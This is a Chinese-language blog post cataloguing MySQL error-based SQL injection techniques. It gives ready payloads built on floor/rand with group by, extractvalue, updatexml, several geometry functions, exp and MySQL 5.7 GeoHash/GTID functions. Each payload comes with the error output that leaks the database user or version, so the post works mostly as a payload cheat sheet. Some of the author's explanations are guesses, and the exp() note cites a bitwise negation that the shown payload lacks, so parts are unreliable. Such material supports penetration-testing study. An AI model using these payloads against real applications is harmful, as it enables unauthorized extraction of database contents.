Mysql报错注入

0x01 前言

法师的那本代码审计书,我也看到了关于十个报错注入那页(157-161),但是书上并没有特详细说明函数的意思还有剩下的都是点点就过了,再着我想到了 luanmap 就是纯粹的利用报错来注入的工具,所以我就整理整理关于 mysql 报错注入的总结把。

0x02 floor() // 5.0 , 5.1 , 5.5

count() 匹配指定表,库里值的行数,也就是个数
concat() 把里面的参数字符串连接起来
floor() 向下取整,就是取整数显示
rand() 用于产生一个 0~1的随机数
group by 根据自己的命名来分组数据,左边为右边的键,右边为值,可以这么理解,具体的自己百度吧

mysql> select first_name from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘root@localhost1’ for key ‘group_key’

原理:通过 count(*) 来统计所查的数据库有多少个行数,其中以 concat() 拼接 user() 和 floor(rand(0)*2)) ,再配合上自己分组规则,导致统计时判断出错,从而造成的报错。

0x03 extractvalue() // 5.1 , 5.5 , 报错结果32位长度限制

extractvalue(XML_document, XPath_string) 从目标XML中返回包含所查询值的字符串

第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

mysql> select first_name from users where user_id=2 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost

原理:由于第二位格式错误而导致的错误。

0x04 updatexml() // 5.1 , 5.5 , 报错结果32位长度限制

updatexml(XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值

第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式

mysql> select first_name from users where user_id=3 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost

原理:同 extractvalue() 一样,都是第二位格式错误到导致的错误。

0x05 geometrycollection() // 5.1 , 5.5

geometrycollection(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20)) 一个好似坐标函数

第一/二参数:坐标什么玩意,,,,
第三个参数:坐标里的一条直线,好像。。。

mysql> select first_name from users where user_id=4 and geometrycollection((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:通过 payload 可以大概的分析是嵌套式查询,然后这啥子的画图坐标无法识别然后报错(资料找不到啊啊啊)。

0x06 polygon() // 5.1 , 5.5

polygon() 一个几何操作的函数

mysql> select first_name from users where user_id=5 and polygon((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:几何都是抽象的,而我们的 payload 依旧是嵌套嵌套,不符合函数的匹配还是啥的就报错了。。。

0x07 multipoint() // 5.1 , 5.5

multipoint() 从点值构造多点

mysql> select first_name from users where user_id=6 and multipoint((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:MP,杂都是类似几何的函数,,,原理同上。。。

0x08 multilinestring() // 5.1 , 5.5

multilinestring() 是一种由LineStirng元素构成的MultiCurve几何对象集合

mysql> select first_name from users where user_id=7 and multilinestring((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:它也是数字坐标这样的用法,我们这里用了字符的样式,导致了报错。

0x09 multipolygon() // 5.1 , 5.5

multipolygon() 是一种由Polygon元素构成的几何对象集合

mysql> select first_name from users where user_id=8 and multipolygon((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:这个函数的参数是 Polygon 元素,而我们传入了非元素,从而报错。

0x10 linestring() // 5.1 , 5.5

LineString() 是具有点之间线性内插特性的Curve
LineString(1 1,2 2) 用法

mysql> select first_name from users where user_id=9 and linestring((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from dual) b)’ value found during parsing

原理:用法上的错误,从而导致的报错。

0x11 exp() // 5.1 , 5.5

exp() 计算e的x次方

mysql> select first_name from users where user_id=10 and exp((select * from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(
((select ‘root@localhost’ from dual)))’

原理:其实这个是最简单的,exp()是计算e的次方的,参数本身就是数字,而报错语句通过子查询与按位求反来达到一个显错数据。

0x12 mysql 5.7 中新增的报错函数 // 5.7.12

PS :这部分是直接抄的 luan 的笔记

报错函数:

ST_LatFromGeoHash() 返回一个字符串值从纬度Geohash作为双重价值的范围[−90, 90] // 如果参数无效则报错,参数为数字型

ST_LongFromGeoHash() 返回一个字符串值从经度Geohash作为双重价值的范围[−180, 180] // 如果参数无效则报错,参数为数字型

GTID_SUBSET() 给定两个集合的子集集合的全局事务ID和,如果所有子集gtids也在制定中。否则返回错误。 // GTID_SUBSET(subset,set)

GTID_SUBTRACT() 给定两个集合的全局事务ID的集合和子集,只返回那些gtids从集合中的不在子集。 // GTID_SUBTRACT(set,subset)

ST_PointFromGeoHash() 返回一个值,该值包含Geohash点的解码值,给定Geohash字符串值。 // 如果参数无效则报错,参数为数字型,xy坐标型函数

案例:

mysql> select ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: ‘5.7.12-log’ for function ST_LATFROMGEOHASH

mysql> select ST_LongFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: ‘5.7.12-log’ for function ST_LONGFROMGEOHASH

mysql> select GTID_SUBSET(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification ‘5.7.12-log’.

mysql> select GTID_SUBTRACT(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification ‘5.7.12-log’.

mysql> select ST_PointFromGeoHash(version(),1);
ERROR 1411 (HY000): Incorrect geohash value: ‘5.7.12-log’ for function st_pointfromgeohash


Mysql报错注入
https://sh1yan.top/2018/02/19/mysql-Error-injection/
作者
shiyan
发布于
2018年2月19日
许可协议